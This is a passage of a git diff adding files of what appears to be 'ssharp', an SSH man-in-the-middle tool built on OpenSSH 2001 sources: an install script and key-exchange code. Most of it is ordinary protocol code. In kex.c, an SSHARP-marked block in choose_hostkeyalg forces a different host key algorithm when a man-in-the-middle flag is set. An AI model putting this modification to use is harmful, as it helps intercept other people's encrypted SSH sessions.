continue;; + + *) if [ x"$src" = x ] + then + src=$1 + else + # this colon is to work around a 386BSD /bin/sh bug + : + dst=$1 + fi + shift + continue;; + esac +done + +if [ x"$src" = x ] +then + echo "install: no input file specified" + exit 1 +else + true +fi + +if [ x"$dir_arg" != x ]; then + dst=$src + src="" + + if [ -d $dst ]; then + instcmd=: + chmodcmd="" + else + instcmd=mkdir + fi +else + +# Waiting for this to be detected by the "$instcmd $src $dsttmp" command +# might cause directories to be created, which would be especially bad +# if $src (and thus $dsttmp) contains '*'. + + if [ -f $src -o -d $src ] + then + true + else + echo "install: $src does not exist" + exit 1 + fi + + if [ x"$dst" = x ] + then + echo "install: no destination specified" + exit 1 + else + true + fi + +# If destination is a directory, append the input filename; if your system +# does not like double slashes in filenames, you may need to add some logic + + if [ -d $dst ] + then + dst="$dst"/`basename $src` + else + true + fi +fi + +## this sed command emulates the dirname command +dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + +# Make sure that the destination directory exists. +# this part is taken from Noah Friedman's mkinstalldirs script + +# Skip lots of stat calls in the usual case. +if [ ! -d "$dstdir" ]; then +defaultIFS=' +' +IFS="${IFS-${defaultIFS}}" + +oIFS="${IFS}" +# Some sh's can't handle IFS=/ for some reason. +IFS='%' +set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` +IFS="${oIFS}" + +pathcomp='' + +while [ $# -ne 0 ] ; do + pathcomp="${pathcomp}${1}" + shift + + if [ ! -d "${pathcomp}" ] ; + then + $mkdirprog "${pathcomp}" + else + true + fi + + pathcomp="${pathcomp}/" +done +fi + +if [ x"$dir_arg" != x ] +then + $doit $instcmd $dst && + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi +else + +# If we're going to rename the final executable, determine the name now. + + if [ x"$transformarg" = x ] + then + dstfile=`basename $dst` + else + dstfile=`basename $dst $transformbasename | + sed $transformarg`$transformbasename + fi + +# don't allow the sed command to completely eliminate the filename + + if [ x"$dstfile" = x ] + then + dstfile=`basename $dst` + else + true + fi + +# Make a temp file name in the proper directory. + + dsttmp=$dstdir/#inst.$$# + +# Move or copy the file name to the temp name + + $doit $instcmd $src $dsttmp && + + trap "rm -f ${dsttmp}" 0 && + +# and set any options; do chmod last to preserve setuid bits + +# If any of these fail, we abort the whole thing. If we want to +# ignore errors from any of these, just make sure not to ignore +# errors from the above "$doit $instcmd $src $dsttmp" command. + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && + +# Now rename the file to the real destination. + + $doit $rmcmd -f $dstdir/$dstfile && + $doit $mvcmd $dsttmp $dstdir/$dstfile + +fi && + + +exit 0 diff --git a/other/ssharp/kex.c b/other/ssharp/kex.c new file mode 100644 index 0000000..e0cee34 --- /dev/null +++ b/other/ssharp/kex.c @@ -0,0 +1,471 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: kex.c,v 1.33 2001/04/05 10:42:50 markus Exp $"); + +#include + +#include "ssh2.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "packet.h" +#include "compat.h" +#include "cipher.h" +#include "kex.h" +#include "key.h" +#include "log.h" +#include "mac.h" +#include "match.h" +#include "dispatch.h" + +#define KEX_COOKIE_LEN 16 + +void kex_kexinit_finish(Kex *kex); +void kex_choose_conf(Kex *k); + +extern int SSH2_mim_only; +extern char *SSH2_mim_cipher; + +/* put algorithm proposal into buffer */ +void +kex_prop2buf(Buffer *b, char *proposal[PROPOSAL_MAX]) +{ + u_int32_t rand = 0; + int i; + + buffer_clear(b); + for (i = 0; i < KEX_COOKIE_LEN; i++) { + if (i % 4 == 0) + rand = arc4random(); + buffer_put_char(b, rand & 0xff); + rand >>= 8; + } + for (i = 0; i < PROPOSAL_MAX; i++) + buffer_put_cstring(b, proposal[i]); + buffer_put_char(b, 0); /* first_kex_packet_follows */ + buffer_put_int(b, 0); /* uint32 reserved */ +} + +/* parse buffer and return algorithm proposal */ +char ** +kex_buf2prop(Buffer *raw) +{ + Buffer b; + int i; + char **proposal; + + proposal = xmalloc(PROPOSAL_MAX * sizeof(char *)); + + buffer_init(&b); + buffer_append(&b, buffer_ptr(raw), buffer_len(raw)); + /* skip cookie */ + for (i = 0; i < KEX_COOKIE_LEN; i++) + buffer_get_char(&b); + /* extract kex init proposal strings */ + for (i = 0; i < PROPOSAL_MAX; i++) { + proposal[i] = buffer_get_string(&b,NULL); + debug2("kex_parse_kexinit: %s", proposal[i]); + } + /* first kex follows / reserved */ + i = buffer_get_char(&b); + debug2("kex_parse_kexinit: first_kex_follows %d ", i); + i = buffer_get_int(&b); + debug2("kex_parse_kexinit: reserved %d ", i); + buffer_free(&b); + return proposal; +} + +void +kex_prop_free(char **proposal) +{ + int i; + + for (i = 0; i < PROPOSAL_MAX; i++) + xfree(proposal[i]); + xfree(proposal); +} + +void +kex_protocol_error(int type, int plen, void *ctxt) +{ + error("Hm, kex protocol error: type %d plen %d", type, plen); +} + +void +kex_clear_dispatch(void) +{ + int i; + + /* Numbers 30-49 are used for kex packets */ + for (i = 30; i <= 49; i++) + dispatch_set(i, &kex_protocol_error); +} + +void +kex_finish(Kex *kex) +{ + int plen; + + kex_clear_dispatch(); + + packet_start(SSH2_MSG_NEWKEYS); + packet_send(); + /* packet_write_wait(); */ + debug("SSH2_MSG_NEWKEYS sent"); + + debug("waiting for SSH2_MSG_NEWKEYS"); + packet_read_expect(&plen, SSH2_MSG_NEWKEYS); + debug("SSH2_MSG_NEWKEYS received"); + + kex->done = 1; + buffer_clear(&kex->peer); + /* buffer_clear(&kex->my); */ + kex->flags &= ~KEX_INIT_SENT; + xfree(kex->name); + kex->name = NULL; +} + +void +kex_send_kexinit(Kex *kex) +{ + if (kex == NULL) { + error("kex_send_kexinit: no kex, cannot rekey"); + return; + } + if (kex->flags & KEX_INIT_SENT) { + debug("KEX_INIT_SENT"); + return; + } + kex->done = 0; + packet_start(SSH2_MSG_KEXINIT); + packet_put_raw(buffer_ptr(&kex->my), buffer_len(&kex->my)); + packet_send(); + debug("SSH2_MSG_KEXINIT sent"); + kex->flags |= KEX_INIT_SENT; +} + + +void +kex_input_kexinit(int type, int plen, void *ctxt) +{ + char *ptr, *s; + int dlen; + int i; + Kex *kex = (Kex *)ctxt; + + debug("SSH2_MSG_KEXINIT received"); + if (kex == NULL) + fatal("kex_input_kexinit: no kex, cannot rekey"); + + ptr = packet_get_raw(&dlen); + buffer_append(&kex->peer, ptr, dlen); + + /* discard packet */ + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) { + s = packet_get_string(NULL); + xfree(s); + } + packet_get_char(); + packet_get_int(); + packet_done(); + + kex_kexinit_finish(kex); +} + +Kex * +kex_setup(char *proposal[PROPOSAL_MAX]) +{ + Kex *kex; + + kex = xmalloc(sizeof(*kex)); + memset(kex, 0, sizeof(*kex)); + buffer_init(&kex->peer); + buffer_init(&kex->my); + kex_prop2buf(&kex->my, proposal); + kex->done = 0; + + kex_send_kexinit(kex); /* we start */ + kex_clear_dispatch(); + dispatch_set(SSH2_MSG_KEXINIT, &kex_input_kexinit); + + return kex; +} + +void +kex_kexinit_finish(Kex *kex) +{ + if (!(kex->flags & KEX_INIT_SENT)) + kex_send_kexinit(kex); + + kex_choose_conf(kex); + + switch(kex->kex_type) { + case DH_GRP1_SHA1: + kexdh(kex); + break; + case DH_GEX_SHA1: + kexgex(kex); + break; + default: + fatal("Unsupported key exchange %d", kex->kex_type); + } +} + +void +choose_enc(Enc *enc, char *client, char *server) +{ + char *name = match_list(client, server, NULL); + if (name == NULL) + fatal("no matching cipher found: client %s server %s", client, server); + enc->cipher = cipher_by_name(name); + if (enc->cipher == NULL) + fatal("matching cipher is not supported: %s", name); + enc->name = name; + enc->enabled = 0; + enc->iv = NULL; + enc->key = NULL; +} +void +choose_mac(Mac *mac, char *client, char *server) +{ + char *name = match_list(client, server, NULL); + if (name == NULL) + fatal("no matching mac found: client %s server %s", client, server); + if (mac_init(mac, name) < 0) + fatal("unsupported mac %s", name); + /* truncate the key */ + if (datafellows & SSH_BUG_HMAC) + mac->key_len = 16; + mac->name = name; + mac->key = NULL; + mac->enabled = 0; +} +void +choose_comp(Comp *comp, char *client, char *server) +{ + char *name = match_list(client, server, NULL); + if (name == NULL) + fatal("no matching comp found: client %s server %s", client, server); + if (strcmp(name, "zlib") == 0) { + comp->type = 1; + } else if (strcmp(name, "none") == 0) { + comp->type = 0; + } else { + fatal("unsupported comp %s", name); + } + comp->name = name; +} +void +choose_kex(Kex *k, char *client, char *server) +{ + k->name = match_list(client, server, NULL); + if (k->name == NULL) + fatal("no kex alg"); + if (strcmp(k->name, KEX_DH1) == 0) { + k->kex_type = DH_GRP1_SHA1; + } else if (strcmp(k->name, KEX_DHGEX) == 0) { + k->kex_type = DH_GEX_SHA1; + } else + fatal("bad kex alg %s", k->name); +} +void +choose_hostkeyalg(Kex *k, char *client, char *server) +{ + char *hostkeyalg = match_list(client, server, NULL); + + /* SSHARP */ + if (SSH2_mim_only) { + /* Do we already have a prefered cipher? */ + if (SSH2_mim_cipher) + hostkeyalg = strdup(SSH2_mim_cipher); + else { + if (strchr(client, ',')) + hostkeyalg = strdup(strchr(client, ',')+1); + } + log("New hostkeyalg=%s", hostkeyalg); + } + if (hostkeyalg == NULL) + fatal("no hostkey alg"); + k->hostkey_type = key_type_from_name(hostkeyalg); + if (k->hostkey_type == KEY_UNSPEC) + fatal("bad hostkey alg '%s'", hostkeyalg); + xfree(hostkeyalg); +} + +void +kex_choose_conf(Kex *kex) +{ + Newkeys *newkeys; + char **my, **peer; + char **cprop, **sprop; + int nenc, nmac, ncomp; + int mode; + int ctos; /* direction: if true client-to-server */ + int need; + + my = kex_buf2prop(&kex->my); + peer = kex_buf2prop(&kex->peer); + + if (kex->server) { + cprop=peer; + sprop=my; + } else { + cprop=my; + sprop=peer; + } + + /* Algorithm Negotiation */ + for (mode = 0; mode < MODE_MAX; mode++) { + newkeys = xmalloc(sizeof(*newkeys)); + memset(newkeys, 0, sizeof(*newkeys)); + kex->newkeys[mode] = newkeys; + ctos = (!kex->server && mode == MODE_OUT) || (kex->server && mode == MODE_IN); + nenc = ctos ? PROPOSAL_ENC_ALGS_CTOS : PROPOSAL_ENC_ALGS_STOC; + nmac = ctos ? PROPOSAL_MAC_ALGS_CTOS : PROPOSAL_MAC_ALGS_STOC; + ncomp = ctos ? PROPOSAL_COMP_ALGS_CTOS : PROPOSAL_COMP_ALGS_STOC; + choose_enc (&newkeys->enc, cprop[nenc], sprop[nenc]); + choose_mac (&newkeys->mac, cprop[nmac], sprop[nmac]); + choose_comp(&newkeys->comp, cprop[ncomp], sprop[ncomp]); + debug("kex: %s %s %s %s", + ctos ? "client->server" : "server->client", + newkeys->enc.name, + newkeys->mac.name, + newkeys->comp.name); + } + choose_kex(kex, cprop[PROPOSAL_KEX_ALGS], sprop[PROPOSAL_KEX_ALGS]); + choose_hostkeyalg(kex, cprop[PROPOSAL_SERVER_HOST_KEY_ALGS], + sprop[PROPOSAL_SERVER_HOST_KEY_ALGS]); + need = 0; + for (mode = 0; mode < MODE_MAX; mode++) { + newkeys = kex->newkeys[mode]; + if (need < newkeys->enc.cipher->key_len) + need = newkeys->enc.cipher->key_len; + if (need < newkeys->enc.cipher->block_size) + need = newkeys->enc.cipher->block_size; + if (need < newkeys->mac.key_len) + need = newkeys->mac.key_len; + } + /* XXX need runden? */ + kex->we_need = need; + + kex_prop_free(my); + kex_prop_free(peer); +} + +u_char * +derive_key(Kex *kex, int id, int need, u_char *hash, BIGNUM *shared_secret) +{ + Buffer b; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + char c = id; + int have; + int mdsz = evp_md->md_size; + u_char *digest = xmalloc(roundup(need, mdsz)); + + buffer_init(&b); + buffer_put_bignum2(&b, shared_secret); + + /* K1 = HASH(K || H || "A" || session_id) */ + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestUpdate(&md, hash, mdsz); + EVP_DigestUpdate(&md, &c, 1); + EVP_DigestUpdate(&md, kex->session_id, kex->session_id_len); + EVP_DigestFinal(&md, digest, NULL); + + /* + * expand key: + * Kn = HASH(K || H || K1 || K2 || ... || Kn-1) + * Key = K1 || K2 || ... || Kn + */ + for (have = mdsz; need > have; have += mdsz) { + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestUpdate(&md, hash, mdsz); + EVP_DigestUpdate(&md, digest, have); + EVP_DigestFinal(&md, digest + have, NULL); + } + buffer_free(&b); +#ifdef DEBUG_KEX + fprintf(stderr, "key '%c'== ", c); + dump_digest("key", digest, need); +#endif + return digest; +} + +Newkeys *current_keys[MODE_MAX]; + +#define NKEYS 6 +void +kex_derive_keys(Kex *kex, u_char *hash, BIGNUM *shared_secret) +{ + u_char *keys[NKEYS]; + int i, mode, ctos; + + for (i = 0; i < NKEYS; i++) + keys[i] = derive_key(kex, 'A'+i, kex->we_need, hash, shared_secret); + + debug("kex_derive_keys"); + for (mode = 0; mode < MODE_MAX; mode++) { + current_keys[mode] = kex->newkeys[mode]; + kex->newkeys[mode] = NULL; + ctos = (!kex->server && mode == MODE_OUT) || (kex->server && mode == MODE_IN); + current_keys[mode]->enc.iv = keys[ctos ? 0 : 1]; + current_keys[mode]->enc.key = keys[ctos ? 2 : 3]; + current_keys[mode]->mac.key = keys[ctos ? 4 : 5]; + } +} + +Newkeys * +kex_get_newkeys(int mode) +{ + Newkeys *ret; + + ret = current_keys[mode]; + current_keys[mode] = NULL; + return ret; +} + +#if defined(DEBUG_KEX) || defined(DEBUG_KEXDH) +void +dump_digest(char *msg, u_char *digest, int len) +{ + int i; + + fprintf(stderr, "%s\n", msg); + for (i = 0; i< len; i++){ + fprintf(stderr, "%02x", digest[i]); + if (i%32 == 31) + fprintf(stderr, "\n"); + else if (i%8 == 7) + fprintf(stderr, " "); + } + fprintf(stderr, "\n"); +} +#endif diff --git a/other/ssharp/kex.h b/other/ssharp/kex.h new file mode 100644 index 0000000..8758804 --- /dev/null +++ b/other/ssharp/kex.h @@ -0,0 +1,130 @@ +/* $OpenBSD: kex.h,v 1.22 2001/04/04 20:25:37 markus Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef KEX_H +#define KEX_H + +#include +#include "buffer.h" +#include "cipher.h" +#include "key.h" + +#define KEX_DH1 "diffie-hellman-group1-sha1" +#define KEX_DHGEX "diffie-hellman-group-exchange-sha1" + +enum kex_init_proposals { + PROPOSAL_KEX_ALGS, + PROPOSAL_SERVER_HOST_KEY_ALGS, + PROPOSAL_ENC_ALGS_CTOS, + PROPOSAL_ENC_ALGS_STOC, + PROPOSAL_MAC_ALGS_CTOS, + PROPOSAL_MAC_ALGS_STOC, + PROPOSAL_COMP_ALGS_CTOS, + PROPOSAL_COMP_ALGS_STOC, + PROPOSAL_LANG_CTOS, + PROPOSAL_LANG_STOC, + PROPOSAL_MAX +}; + +enum kex_modes { + MODE_IN, + MODE_OUT, + MODE_MAX +}; + +enum kex_exchange { + DH_GRP1_SHA1, + DH_GEX_SHA1 +}; + +#define KEX_INIT_SENT 0x0001 + +typedef struct Kex Kex; +typedef struct Mac Mac; +typedef struct Comp Comp; +typedef struct Enc Enc; +typedef struct Newkeys Newkeys; + +struct Enc { + char *name; + Cipher *cipher; + int enabled; + u_char *key; + u_char *iv; +}; +struct Mac { + char *name; + int enabled; + EVP_MD *md; + int mac_len; + u_char *key; + int key_len; +}; +struct Comp { + int type; + int enabled; + char *name; +}; +struct Newkeys { + Enc enc; + Mac mac; + Comp comp; +}; +struct Kex { + u_char *session_id; + int session_id_len; + Newkeys *newkeys[MODE_MAX]; + int we_need; + int server; + char *name; + int hostkey_type; + int kex_type; + Buffer my; + Buffer peer; + int done; + int flags; + char *client_version_string; + char *server_version_string; + int (*check_host_key)(Key *hostkey); + Key *(*load_host_key)(int type); +}; + +Kex *kex_setup(char *proposal[PROPOSAL_MAX]); +void kex_finish(Kex *kex); + +void kex_send_kexinit(Kex *kex); +void kex_input_kexinit(int type, int plen, void *ctxt); +void kex_derive_keys(Kex *k, u_char *hash, BIGNUM *shared_secret); + +void kexdh(Kex *); +void kexgex(Kex *); + +Newkeys *kex_get_newkeys(int mode); + +#if defined(DEBUG_KEX) || defined(DEBUG_KEXDH) +void dump_digest(char *msg, u_char *digest, int len); +#endif + +#endif diff --git a/other/ssharp/kexdh.c b/other/ssharp/kexdh.c new file mode 100644 index 0000000..7b6a220 --- /dev/null +++ b/other/ssharp/kexdh.c @@ -0,0 +1,304 @@ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: kexdh.c,v 1.3 2001/04/04 09:48:34 markus Exp $"); + +#include +#include + +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "key.h" +#include "kex.h" +#include "log.h" +#include "packet.h" +#include "dh.h" +#include "ssh2.h" + +u_char * +kex_dh_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret) +{ + Buffer b; + static u_char digest[EVP_MAX_MD_SIZE]; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + + buffer_init(&b); + buffer_put_string(&b, client_version_string, strlen(client_version_string)); + buffer_put_string(&b, server_version_string, strlen(server_version_string)); + + /* kexinit messages: fake header: len+SSH2_MSG_KEXINIT */ + buffer_put_int(&b, ckexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, ckexinit, ckexinitlen); + buffer_put_int(&b, skexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, skexinit, skexinitlen); + + buffer_put_string(&b, serverhostkeyblob, sbloblen); + buffer_put_bignum2(&b, client_dh_pub); + buffer_put_bignum2(&b, server_dh_pub); + buffer_put_bignum2(&b, shared_secret); + +#ifdef DEBUG_KEX + buffer_dump(&b); +#endif + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestFinal(&md, digest, NULL); + + buffer_free(&b); + +#ifdef DEBUG_KEX + dump_digest("hash", digest, evp_md->md_size); +#endif + return digest; +} + +/* client */ + +void +kexdh_client(Kex *kex) +{ + BIGNUM *dh_server_pub = NULL, *shared_secret = NULL; + DH *dh; + Key *server_host_key; + char *server_host_key_blob = NULL, *signature = NULL; + u_char *kbuf, *hash; + u_int klen, kout, slen, sbloblen; + int dlen, plen; + + /* generate and send 'e', client DH public key */ + dh = dh_new_group1(); + dh_gen_key(dh, kex->we_need * 8); + packet_start(SSH2_MSG_KEXDH_INIT); + packet_put_bignum2(dh->pub_key); + packet_send(); + + debug("sending SSH2_MSG_KEXDH_INIT"); +#ifdef DEBUG_KEXDH + DHparams_print_fp(stderr, dh); + fprintf(stderr, "pub= "); + BN_print_fp(stderr, dh->pub_key); + fprintf(stderr, "\n"); +#endif + + debug("expecting SSH2_MSG_KEXDH_REPLY"); + packet_read_expect(&plen, SSH2_MSG_KEXDH_REPLY); + + /* key, cert */ + server_host_key_blob = packet_get_string(&sbloblen); + server_host_key = key_from_blob(server_host_key_blob, sbloblen); + if (server_host_key == NULL) + fatal("cannot decode server_host_key_blob"); + + if (kex->check_host_key == NULL) + fatal("cannot check server_host_key"); + kex->check_host_key(server_host_key); + + /* DH paramter f, server public DH key */ + dh_server_pub = BN_new(); + if (dh_server_pub == NULL) + fatal("dh_server_pub == NULL"); + packet_get_bignum2(dh_server_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "dh_server_pub= "); + BN_print_fp(stderr, dh_server_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_server_pub)); +#endif + + /* signed H */ + signature = packet_get_string(&slen); + packet_done(); + + if (!dh_pub_is_valid(dh, dh_server_pub)) + packet_disconnect("bad server public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_server_pub, dh); +#ifdef DEBUG_KEXDH + dump_digest("shared secret", kbuf, kout); +#endif + shared_secret = BN_new(); + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + /* calc and verify H */ + hash = kex_dh_hash( + kex->client_version_string, + kex->server_version_string, + buffer_ptr(&kex->my), buffer_len(&kex->my), + buffer_ptr(&kex->peer), buffer_len(&kex->peer), + server_host_key_blob, sbloblen, + dh->pub_key, + dh_server_pub, + shared_secret + ); + xfree(server_host_key_blob); + BN_free(dh_server_pub); + DH_free(dh); + + if (key_verify(server_host_key, (u_char *)signature, slen, hash, 20) != 1) + fatal("key_verify failed for server_host_key"); + key_free(server_host_key); + xfree(signature); + + /* save session id */ + if (kex->session_id == NULL) { + kex->session_id_len = 20; + kex->session_id = xmalloc(kex->session_id_len); + memcpy(kex->session_id, hash, kex->session_id_len); + } + + kex_derive_keys(kex, hash, shared_secret); + BN_clear_free(shared_secret); + kex_finish(kex); +} + +/* server */ + +void +kexdh_server(Kex *kex) +{ + BIGNUM *shared_secret = NULL, *dh_client_pub = NULL; + DH *dh; + Key *server_host_key; + u_char *kbuf, *hash, *signature = NULL, *server_host_key_blob = NULL; + u_int sbloblen, klen, kout; + int dlen, slen, plen; + + /* generate server DH public key */ + dh = dh_new_group1(); + dh_gen_key(dh, kex->we_need * 8); + + debug("expecting SSH2_MSG_KEXDH_INIT"); + packet_read_expect(&plen, SSH2_MSG_KEXDH_INIT); + + if (kex->load_host_key == NULL) + fatal("Cannot load hostkey"); + server_host_key = kex->load_host_key(kex->hostkey_type); + if (server_host_key == NULL) + fatal("Unsupported hostkey type %d", kex->hostkey_type); + + /* key, cert */ + dh_client_pub = BN_new(); + if (dh_client_pub == NULL) + fatal("dh_client_pub == NULL"); + packet_get_bignum2(dh_client_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "dh_client_pub= "); + BN_print_fp(stderr, dh_client_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_client_pub)); +#endif + +#ifdef DEBUG_KEXDH + DHparams_print_fp(stderr, dh); + fprintf(stderr, "pub= "); + BN_print_fp(stderr, dh->pub_key); + fprintf(stderr, "\n"); +#endif + if (!dh_pub_is_valid(dh, dh_client_pub)) + packet_disconnect("bad client public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_client_pub, dh); +#ifdef DEBUG_KEXDH + dump_digest("shared secret", kbuf, kout); +#endif + shared_secret = BN_new(); + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + key_to_blob(server_host_key, &server_host_key_blob, &sbloblen); + + /* calc H */ + hash = kex_dh_hash( + kex->client_version_string, + kex->server_version_string, + buffer_ptr(&kex->peer), buffer_len(&kex->peer), + buffer_ptr(&kex->my), buffer_len(&kex->my), + (char *)server_host_key_blob, sbloblen, + dh_client_pub, + dh->pub_key, + shared_secret + ); + BN_free(dh_client_pub); + + /* save session id := H */ + /* XXX hashlen depends on KEX */ + if (kex->session_id == NULL) { + kex->session_id_len = 20; + kex->session_id = xmalloc(kex->session_id_len); + memcpy(kex->session_id, hash, kex->session_id_len); + } + + /* sign H */ + /* XXX hashlen depends on KEX */ + key_sign(server_host_key, &signature, &slen, hash, 20); + + /* destroy_sensitive_data(); */ + + /* send server hostkey, DH pubkey 'f' and singed H */ + packet_start(SSH2_MSG_KEXDH_REPLY); + packet_put_string((char *)server_host_key_blob, sbloblen); + packet_put_bignum2(dh->pub_key); /* f */ + packet_put_string((char *)signature, slen); + packet_send(); + + xfree(signature); + xfree(server_host_key_blob); + /* have keys, free DH */ + DH_free(dh); + + kex_derive_keys(kex, hash, shared_secret); + BN_clear_free(shared_secret); + kex_finish(kex); +} + +void +kexdh(Kex *kex) +{ + if (kex->server) + kexdh_server(kex); + else + kexdh_client(kex); +} diff --git a/other/ssharp/kexgex.c b/other/ssharp/kexgex.c new file mode 100644 index 0000000..44f2f5c --- /dev/null +++ b/other/ssharp/kexgex.c @@ -0,0 +1,408 @@ +/* + * Copyright (c) 2000 Niels Provos. All rights reserved. + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, 